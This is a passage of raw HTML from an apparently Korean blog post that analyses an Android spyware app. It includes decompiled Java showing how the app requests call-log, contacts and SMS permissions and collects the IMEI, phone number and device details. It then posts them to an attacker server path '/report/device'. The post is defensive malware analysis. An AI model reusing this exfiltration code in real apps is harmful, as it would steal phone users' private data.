this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;546&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;정적 웹 페이지 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹뷰 실행 이후 앱에서 단말의 자원에 접근하기 위한 권한을 요청함&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한 요청 시 단말의 안드로이드 버전에 맞도록 문자열을 검사하여 요청하고 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;요청하는 권한은 다음과 같음&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156159&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Override // android.app.Activity
    public void onRequestPermissionsResult(int i2, String[] strArr, int[] iArr) {
        int i3 = 0;
        for (int i4 = 0; i4 &amp;lt; iArr.length; i4++) {
            if (iArr[i4] == 0) {
                i3++;
                if (strArr[i4].contains(&quot;READ_CALL_LOG&quot;)) {
                    new Thread(new a.c(this, 0)).start();
                }
                if (strArr[i4].contains(&quot;READ_CONTACTS&quot;)) {
                    new Thread(new a.c(this, 1)).start();
                }
                if (strArr[i4].contains(&quot;READ_SMS&quot;)) {
                    new Thread(new a.c(this, 2)).start();
                }
            }
        }
        if (i3 &amp;gt; 0) {
            new Thread(new a.c(this, 3)).start();
        }
        if (this.f286a &amp;lt; 1) {
            ArrayList&amp;lt;String&amp;gt; e2 = e();
            if (e2.size() &amp;gt; 0) {
                requestPermissions((String[]) e2.toArray(new String[0]), 1011);
            }
        }
        this.f286a++;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;요청 권한&lt;span&gt;(&lt;/span&gt;문자열 포함&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;비고&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;READ_CALL_LOG&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;통화 기록 조회&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;READ_CONTACTS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;연락처 조회&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;READ_SMS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;문자 송수신 기록 조회&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wwnc1/btsKIAQHcy1/YJC1emywj0kDYBpBddMvK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wwnc1/btsKIAQHcy1/YJC1emywj0kDYBpBddMvK1/img.png&quot; style=&quot;width: 49.3866%; margin-right: 10px;&quot; data-widthpercent=&quot;49.97&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;697&quot; data-origin-width=&quot;332&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wwnc1/btsKIAQHcy1/YJC1emywj0kDYBpBddMvK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWwnc1%2FbtsKIAQHcy1%2FYJC1emywj0kDYBpBddMvK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;332&quot; height=&quot;697&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2T4qK/btsKJCmx1C5/eCVsvAlNctTijqZBbXn2SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2T4qK/btsKJCmx1C5/eCVsvAlNctTijqZBbXn2SK/img.png&quot; style=&quot;width: 49.4506%;&quot; data-widthpercent=&quot;50.03&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;694&quot; data-origin-width=&quot;331&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2T4qK/btsKJCmx1C5/eCVsvAlNctTijqZBbXn2SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2T4qK%2FbtsKJCmx1C5%2FeCVsvAlNctTijqZBbXn2SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;331&quot; height=&quot;694&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjG1rz/btsKKQYgpu8/YfwQbNmXni2GcuxUdBCdC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjG1rz/btsKKQYgpu8/YfwQbNmXni2GcuxUdBCdC0/img.png&quot; style=&quot;width: 49.4291%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;50.01&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;714&quot; data-origin-width=&quot;340&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjG1rz/btsKKQYgpu8/YfwQbNmXni2GcuxUdBCdC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjG1rz%2FbtsKKQYgpu8%2FYfwQbNmXni2GcuxUdBCdC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;340&quot; height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fpim9/btsKIQsbcqD/KaE0ISvuLenmikCEnFB0t1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fpim9/btsKIQsbcqD/KaE0ISvuLenmikCEnFB0t1/img.png&quot; style=&quot;width: 49.4081%; margin-top: 10px;&quot; data-widthpercent=&quot;49.99&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;708&quot; data-origin-width=&quot;337&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fpim9/btsKIQsbcqD/KaE0ISvuLenmikCEnFB0t1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFpim9%2FbtsKIQsbcqD%2FKaE0ISvuLenmikCEnFB0t1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;337&quot; height=&quot;708&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;앱 권한 요청&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span&gt;&amp;lsquo;&lt;/span&gt;제조사&amp;rsquo;&lt;span&gt;, &amp;lsquo;&lt;/span&gt;모델명&amp;rsquo;&lt;span&gt;, &amp;lsquo;imei&amp;rsquo;, &amp;lsquo;&lt;/span&gt;단말 전화번호&lt;span&gt;&amp;rsquo;, &amp;lsquo;&lt;/span&gt;배터리&lt;span&gt;&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;등 단말 정보를 수집함&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수집한 정보는 공격자의 서버로 전송하기 위해 사전 구성한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156165&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;public static void b(final f86d3 f86d3Var) {
	//(...생략..)
            c0.c cVar = new c0.c();
            try {
                cVar.g(&quot;imei&quot;, aVar2.f71a);
                cVar.g(&quot;mobileNO&quot;, aVar2.f72b);
                cVar.f(&quot;signal&quot;, 0);
                cVar.f(&quot;battery&quot;, 0);
                cVar.g(&quot;network&quot;, null);
                cVar.g(&quot;networkProvider&quot;, aVar2.f73c);
                cVar.g(&quot;token&quot;, aVar2.f74d);
                cVar.g(&quot;appVersion&quot;, null);
            } catch (c0.b e2) {
                e2.printStackTrace();
            }
            try {
                cVar.g(&quot;isRegister&quot;, Boolean.TRUE);
                cVar.g(&quot;phoneVersion&quot;, Build.VERSION.RELEASE);
                cVar.g(&quot;deviceModel&quot;, Build.MODEL);
                cVar.g(&quot;deviceType&quot;, Build.BRAND);
                App app = App.f182a;
                try {
                    str = app.getPackageManager().getPackageInfo(app.getPackageName(), 0).versionName;
                } catch (PackageManager.NameNotFoundException e3) {
                    e3.printStackTrace();
                }
                cVar.g(&quot;appVersion&quot;, str);
                ArrayList&amp;lt;String&amp;gt; f2 = f86d3Var.f();
                StringBuilder sb = new StringBuilder();
                Iterator&amp;lt;String&amp;gt; it = f2.iterator();
                if (it.hasNext()) {
                    while (true) {
                        sb.append((CharSequence) it.next());
                        if (!it.hasNext()) {
                            break;
                        }
                        sb.append((CharSequence) &quot;,&quot;);
                    }
                }
                cVar.g(&quot;permissions&quot;, sb.toString());
            } catch (c0.b e4) {
                e4.printStackTrace();
            }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;수집하는 정보&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;비고&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;IMEI&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;단말 고유 식별 정보&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;중요정보&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;mobileNO&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;전화번호&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;중요정보&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;networkProvider&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;네트워크 제공자&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;token&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;토큰&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;signal&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;단말 신호 강도&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;battery&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;배터리 상태&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;network&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;네트워크 상태&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;appVersion&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;앱 버전&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;isRegister&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;등록상태&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;phoneVersion&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;폰 버전&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;deviceModel&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;디바이스 모델&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;342&quot;&gt;&lt;span&gt;&lt;span&gt;deviceType&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;224&quot;&gt;&lt;span&gt;디바이스 타입&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;110&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;수집한 정보는 공격자의 서버로 전송한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;단말 정보를 저장하는 공격자의 서버 경로&lt;span&gt;(&amp;lsquo;/report/device&amp;rsquo;)&lt;/span&gt;를 확인한다&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731925156174&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;f86d3Var.f287b.c(&quot;/report/device&quot;, cVar, new c.InterfaceC0001c() { // from class: a.a
                @Override // c.c.InterfaceC0001c
                public final void a(c0.c cVar2) {
                    f86d3 f86d3Var2 = f86d3.this;
                    AtomicBoolean atomicBoolean2 = atomicBoolean;
                    Semaphore semaphore2 = semaphore;
                    int i2 = f86d3.f285d;
                    Objects.requireNonNull(f86d3Var2);
                    atomicBoolean2.set(cVar2 != null);
                    semaphore2.release();
                    if (cVar2 == null) {
                        return;
                    }
                    try {
                        b.a.f70e.f74d = cVar2.a(&quot;message&quot;).toString();
                        f86d3Var2.f287b.d();
                    } catch (c0.b e5) {
                        e5.printStackTrace();
                    }
                }
            });&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위와 같은 과정으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;문자(SMS) 송수신 기록, 연락처(Contacts)의 정보&lt;/b&gt;&lt;/span&gt;도 동일하게 수집하며 수집하는 정보와 전송하는 경로는 다음과 같다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;동적 분석 결과 공격자의 서버로 수집한 정보를 전송하는 것을 확인한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1062&quot; data-origin-height=&quot;741&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HANun/btsKKqZUoDp/dqks7DcZ3N1S2Miqi4GKjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HANun/btsKKqZUoDp/dqks7DcZ3N1S2Miqi4GKjK/img.png&quot; data-alt=&quot;단말 기본 정보 수집 및 전송 패킷&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HANun/btsKKqZUoDp/dqks7DcZ3N1S2Miqi4GKjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHANun%2FbtsKKqZUoDp%2Fdqks7DcZ3N1S2Miqi4GKjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;724&quot; height=&quot;505&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1062&quot; data-origin-height=&quot;741&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;단말 기본 정보 수집 및 전송 패킷&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;수집한 정보 문자열을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;HTTP Post&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;요청의 본문&lt;span&gt;(body)&lt;/span&gt;에 추가하고 공격자의 서버로 전송한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;식별된 공격자의 서버 정보는 다음과 같음&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;현재&lt;span&gt;(2024. 11.)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기준 공격 서버는 동작하지 않음&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;단말의 통화기록에 접근하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;u&gt;&lt;span&gt;&amp;lsquo;imei&lt;/span&gt;&amp;rsquo;&lt;span&gt;, &amp;lsquo;&lt;/span&gt;전체 통화 목록 개수&amp;rsquo;&lt;span&gt;, &amp;lsquo;&lt;/span&gt;통화기록&lt;span&gt;(&lt;/span&gt;통화시간&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;일시&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;번호&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수발신 여부&lt;span&gt;)&lt;/span&gt;&amp;rsquo; 등 데이터를 수집&lt;/u&gt;&lt;/b&gt;한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
